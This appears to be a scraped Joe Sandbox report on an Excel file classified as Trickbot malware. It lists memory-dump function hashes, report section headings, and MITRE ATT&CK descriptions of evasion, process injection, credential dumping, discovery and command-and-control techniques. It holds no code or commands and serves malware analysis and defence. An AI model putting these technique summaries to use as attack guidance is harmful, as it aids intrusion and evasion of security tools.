Opcode Fuzzy Hash: 0efb3975b939e561dc131483b7bdd5fe14ad02f3ed6df95635d4923e4141a67f
Instruction Fuzzy Hash: 3F31EEAABB594007A34C85799C6377522C7E7DA31A328F27DDAD7C52C7D82CC9034409

Uniqueness

Uniqueness Score: -1.00%

Function 0007B050, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0196cea8bec9dfbfa23a2ad95feb348667cb1528ac58daa92477c84fcf878c3b
Instruction ID: b50e9a1006c8149b7e65f16cc3be963162108b9e18c61647e753c9884c2b66fc
Opcode Fuzzy Hash: 0196cea8bec9dfbfa23a2ad95feb348667cb1528ac58daa92477c84fcf878c3b
Instruction Fuzzy Hash: B1117B4871EE8549A70C523D199D635FAC0E77631235CD3AEE09FC69E3DD48C487815D

Uniqueness

Uniqueness Score: -1.00%

Function 000772A0, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a6d481393c788511784fca5b3ab259c991fdd506e0e4178f3806edd4aaac4ea
Instruction ID: 67a501fbb4b370f8dd29d6e35598f0020aa385fe740e94da6f1ec2e8e64aa090
Opcode Fuzzy Hash: 5a6d481393c788511784fca5b3ab259c991fdd506e0e4178f3806edd4aaac4ea
Instruction Fuzzy Hash: 9221293270CA144FE768AB38AC49BFA76D2E7C5764F01422EE84ED3145DA39DD0287C1

Uniqueness

Uniqueness Score: -1.00%

Function 000698D0, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5150eb18a6562c5a91792e09e40bdc009c81f73b9a60da568b84fed178401a9c
Instruction ID: d528c3d6011dff7db89ff989c59037a9b15fa6a5cd77e34e2cd78620bc2bbba1
Opcode Fuzzy Hash: 5150eb18a6562c5a91792e09e40bdc009c81f73b9a60da568b84fed178401a9c
Instruction Fuzzy Hash: D72125315196094EDB745E0C8448778B7EFFB85320F28141EC4CAC3A02DAB6AC81C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00073860, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d42770e95981521e61e3927f7c06e5b12668d1c309ee4357acc0cc550e1be7ff
Instruction ID: 8f54513f743205ad5db660674b0a18705fa6919bdf7b145c746a3cddebb4a4f6
Opcode Fuzzy Hash: d42770e95981521e61e3927f7c06e5b12668d1c309ee4357acc0cc550e1be7ff
Instruction Fuzzy Hash: DE012231B08F0D0E66F8A56EA804977B3D1EB89220311932EF45EC3202ED79DC42929B

Uniqueness

Uniqueness Score: -1.00%

Function 000624E0, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eedbf4fb752af916b50b4369ebf4c11ac91017742f4cfc46c4c8139c568aefa5
Instruction ID: 91ce267f7ae21e37eb10ec682a78673be0b57e441fec97a144701bf38be37954
Opcode Fuzzy Hash: eedbf4fb752af916b50b4369ebf4c11ac91017742f4cfc46c4c8139c568aefa5
Instruction Fuzzy Hash: EC118E14269E810AD32D1A2C4466274F7C2E7AB70AB6863FDC4D3DA5E3D85614838186

Uniqueness

Uniqueness Score: -1.00%

Function 0006BEC0, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35a84fef91ebd231cd595b842e75e94742a42bb7ba0f9053572fa68a87044969
Instruction ID: 7c8d2a2306beb5f073ac400f68e36e115525e8e92082f1305b47b4685ab289b1
Opcode Fuzzy Hash: 35a84fef91ebd231cd595b842e75e94742a42bb7ba0f9053572fa68a87044969
Instruction Fuzzy Hash: 890146D563AA420AAF2C1F311ED51BC72C3E7B2354BB8913CD983C18A3FA06C5C34548

Uniqueness

Uniqueness Score: -1.00%

Function 0006EAD0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560e6a23cc83d760b71f7b18a3e747a9364d9c171f49b35192518ae87a33829f
Instruction ID: b8fcde7120d1895dd6a50f3988219af66d19bb984d7a776340855f9b2d17eaca
Opcode Fuzzy Hash: 560e6a23cc83d760b71f7b18a3e747a9364d9c171f49b35192518ae87a33829f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Sign-1870635479_637332644.xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Trickbot

Yara Overview

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Sign-1870635479_637332644.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Function 00231030, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 90
windowtimesleepCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre